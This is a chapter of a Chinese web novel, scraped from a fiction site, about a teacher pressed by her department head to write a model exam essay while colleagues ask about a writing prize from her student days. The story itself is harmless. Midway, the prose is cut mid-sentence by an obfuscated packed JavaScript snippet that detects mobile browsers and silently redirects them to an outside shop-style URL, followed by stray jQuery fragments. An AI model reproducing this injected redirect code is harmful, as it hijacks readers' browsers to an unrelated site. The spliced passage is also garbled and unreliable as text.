文趣网 > 其他小说 > 一本正经社死日记 > 21. 八百字作文
    新学期正式开始前,高一语文组就已经忙活开了。根据年级主任和语文教研组组长的指示,集结高一和高三两个年级语文老师之力,大家一起搞出了一期金仓中学最新高考高分作文汇总。

    一开始听说由高一和高三两个年级的语文组分摊,严蕊棠还心有余悸地松了一口气,但转念一想,不对啊,这不是指着同一拨羊毛在薅嘛!高一组除了两个刚从师范大学毕业的新兵蛋子,大半都是前脚刚从高三组退下来的老人,才过了几天好日子,就马不停蹄又要开始新一届长征了。

    更别提这还是因为掺了不少水而引得年级主任胆敢当场和校长叫板的“史上最差一届”,严蕊棠都不敢想象其中藏了多少魔丸。

    不过,在讨论合集形式之前,语文组内部就先闹了点儿分歧,有老师觉得应该统一划线,从年级里择优取高分,有老师觉得为了公平起见得考虑名额分配,至少每个班出一篇吧,毕竟写作这个东西再怎么八股,也是带主观色彩的,还是要百家争鸣、百花齐放,因为你也掐不准每年的出卷人和改卷老师到底好哪口。

    僵持了一天也没得出结论,最后干脆两派代表剪刀石头布。作为旧高三和新高一的代表人,严蕊棠被推了出去。

    作为一个从小到大没彩票没中过二十块钱以上的人,严蕊棠也毫不意外地代表本队输了一票。

    “严老师,你刚刚是站哪一个方案来着?”同样刚从高三组转下来的新高一语文组长老谭扶了扶鼻梁上的眼镜,盯着她的眼问道。

    严蕊棠瞅了瞅老谭那双本就被厚瓶底缩小还特意眯起的眼,心想,糟了,刚刚一路走神,也不知道老谭站的是哪边。

    而她压根儿就不care哪个班出几篇这种鸡毛蒜皮的小事儿,全程也没听,反正明年又不可能再出一模一样的作文题,无非是经验老道的高三组想给年轻的新高一组立点儿威严罢了。不过,她现在代表的是输方,势必得和老谭唱反调,这样才能如老谭所愿保住多数派。

    “嗯,”她顿了顿,低头作惋惜状,“这个嘛,我输都输了,我说的就不作数了,那就按您说的来呗,扣我一票哈。”

    “行吧,严老师愿赌服输,那就按照我刚刚提议的,每个班都出一篇来。另外,你们几个老师也每人写一篇交上来。”

    什么?!严蕊棠赶紧抬头,眼睛登时大了一圈,“谁要写啊?”

    “都写,你们都写,不急。”老谭举手对着空气向下压了压,“这周以内交给我就行。”

    啊?严蕊棠小心翼翼地环视四周,顿觉几道犀利的视线宛如利剑一般扎进了她的脑袋,连带着脑瓜子嗡嗡地疼,一不留神就这么把新同事们都给得罪了?!

    “那个,谭主任,我们一个班出一篇也有十几篇了,我们这都当老师当,再写,不是不公平嘛。”

    “哪里不公平?”老谭白了她一眼,“我们搞语文的一定要站在第一线,光嘴上叭叭叭没用的,不动手写一写是教不出来真正的高分作文的。你们也写,才能更好地理解出题人的意图,建立共鸣。”

    就算听起来有三分道理,严蕊棠也仍要顽强地做点儿垂死挣扎。“我们写了没有阅卷老师帮我们改呀,也不确定写下来能不能当范文用啊。”

    “阅卷老师有什么要紧的,”老谭大手一挥,“我改过的卷子不比他们多?我来把关,你们就放心写。”

    老谭这是心里已做了决定,岂是她三言两语就能扭转的?严蕊棠一时语塞,只在心里默默叹了一口气就识趣地闭嘴了,也不敢再去看其他满脸幽怨的同事。

    “严老师啊,只要八百字,你不用写多哈。”老谭不忘叮嘱。

    几个新同事听了这不知所以的话又抬起头来看向了严蕊棠和老谭。

    望着大家疑惑的脸色,老谭笑了笑,“哦,你们几个新来的还不知道吧,严老师以前是我班上的学生,老能写小作文了。”

    不知是出于好奇还是警惕,立刻就有同事接上话了,“严老师写小作文?”

    老谭自然不知道“小作文”还是个多义词,乐呵呵地回答道:“八百字小作文那都轻飘飘的,严老师可能写了,小说还拿过奖呢。”

    “什么小说什么奖啊?”同事愈加好奇,脑袋也凑了过来,“我去找来看看。”

    “诶,是叫什么来着?”老谭眯眼仰头,非常认真地回忆,但愣是没想起来,只得扭头问严蕊棠,“严老师,就那个,你知道的。”

    “哪个啊?我不太记得了。”严蕊棠挤出了一丝干笑,“都过去那么多年了,谁还记得那时候写了些什么啊。”

    “就那个,当年奖状证书还寄到学校里来了呢。”

    “有吗?”严蕊棠微微蹙眉,“是不是其他哪个人?我们班当时能写的好多人呢。”

    “哎呀,我这年纪大了,脑子不好使了,你个年轻人怎么记性也不怎么样。”老谭半是嫌弃半是较真地说。

    严蕊棠只得再次赔笑,“我这平时脑子就不太好。”

    “那严老师你这次无论如何都得写一篇让我们来好好学习一下了。”同事在一旁看热闹不嫌事儿大地附和。

    眼见着骑虎难下,严蕊棠也不遑多让,又提醒道:“谭主任,您刚刚是说我们每个人都要写,是吗?”

    “是啊,全都写。周五之前交给我,我正好趁着周末批一下,下周我们就能出合集。”

    “啊?”同事这才想起来老谭交代的任务一个都逃不掉。

    “行,那今天会先开到这儿,散会。”老谭一声令下,阻断了任何可能的抗议之声。

    严蕊棠回到办公室座位,一看时间,已经四点多了,但想了想还是打开了电脑。

    “怎么,现在就要练功,不回家啦?”隔壁的付老师一边收拾包一边抬眼问她。

    “回去肯定什么都写不出来,还不如在这儿多榨一会儿。”

    “就随便写写嘛,你还真准备当什么教案来备啊。”

    “也不是,我是在家真一点儿都写不出来。”

    付老师抬头见四周大家都在各忙各的,凑过来压低声音,“你刚刚是真不记得了还是假不记得了呀?”

    “什么呀?”

    “我是真想拜读一下,真心的。”

    “哎呀,十几岁的时候瞎写的,全都是为赋新词强说愁,矫情得我自己都不想看了。”

    “我就知道,你刚过来的时候,老谭就说你是他当年的得意门生,他都能这么说了,你肯定是会写的,还假谦虚起来了。”

    严蕊棠扭头,“老谭这么说了?”

    “我骗你干嘛,老谭给我钱哪?年轻人嘛,还是要看年轻人写的东西,你要能把当年那些作文翻出来,我倒是真想拿给我的学生们去看看。你是不知道这次给我分的这个班,我看了一下他们中考的语文成绩,呵呵,真的把我给气笑了。”

    话虽如此,严蕊棠明明记得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564640|204679||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当年奖状寄到学校之后,她还被老谭喊到办公室,当着其他班老师的面挨批了半小时,说她关键时刻不务正业不学无术不知轻重。

    原因无他,那是一个网络文学比赛。严蕊棠原本偷摸报名参加,但填写报名表时写了真实的校名和班级,也不知是哪一步疏忽了,一不留神,奖状就寄到了班上,还被老谭给截胡了。

    只不过老谭留了个心眼,没直接给严蕊棠,而是让当着自己的面拆开读一遍,偏偏赶上模拟考的成绩不太好,就正好撞在了枪眼上。

    老谭的确年纪大了,当年的反面教材也信口就被当成了正面案例。

    严蕊棠盯着眼前的屏幕,一边在搜索栏里输入了今年的语文高考作文题,一边小声说道:“当年写的那些早就是古早文风了,其实不大适合现在的学生。”

    “你才比他们大几岁啊,你写的都古早,那我们这种写出来不是马上就要入土了嘛。”付老师说道。

    “那倒也不至于。”

    “就是说嘛,要我看还是以前的学生写的东西好,又喜欢看书又喜欢思考,不像现在,一天天的都在网上看些乱七八糟的东西,连最基本的语文素养都已经还给老师了。”

    “我现在才觉得鲁迅真的是跨时代的文学家,好有远见,一代不如一代。”严蕊棠引用了九斤老太的名言表示认同。

    “唉,也别说人家孩子这幅德行,我家的也是半斤八两。书是一点不沾,一碰到手机就跟手上装了吸铁石似的,拔都拔不下来。不跟你说了,我得赶紧回去抓他写作业了。”

    要回去买菜的做饭的带娃的都陆陆续续回了家,办公室里很快就剩下了严蕊棠一个人。

    她拿起手机,看了看静悄悄的家庭群,晚饭时间还早,还没有人在群里催她下班回家。

    随着年龄的增长,严蕊棠似乎越来越习惯于当一个饭来张口的女儿了,而这种心情又会在她看到周围的同事争先恐后地回归母职之际到达巅峰。

    质疑妈宝女,成为妈宝女。

    此刻,相比宏大的作文题,她似乎更想写一篇《我的母亲》或《我的父亲》聊以抒怀,但手指还是顺从地打下了标题《仰望星空》。

    果然,八百字对她来说的确小菜一碟,洋洋洒洒就过了六百字,再加个升华主题的结尾就差不多了。

    要不先歇一会儿吧,严蕊棠转了转脖子,顺手就打开了微信,这个时间总该有人来预告今天的晚饭时间了吧。

    又不知道从哪儿转了一个帖子,然后拍了拍她。

    严蕊棠早就习惯了,也没细看,只回了一句“晚上吃什么”。

    等了一会儿无人搭理,却见俞佩琴的账号又拍了拍她。

    “你上你们学校公众号了。”

    严蕊棠这才留意到上面的帖子不是什么心灵鸡汤,而是学校的公众号,打开一看,是上次举办的讲座活动。

    还以为什么头条呢,不就一个活动报告嘛。她一目十行,顺手往下滑了几下,目光飞快地掠过了内容,直到结尾上方的一张照片。

    照片里的人是自己,手里不知捧了什么,再细瞧,竟然是一块马赛克。

    严蕊棠脑子里顿时满是问号,这是什么?结合上下文,再回忆了两秒,想起来了,这是上次梁遇暄讲课时用到的演示模型吧。但是,这大篇幅的马赛克到底是什么鬼啊?

    这是什么见不得光的东西吗?火气噌地一声在她心里炸开了花。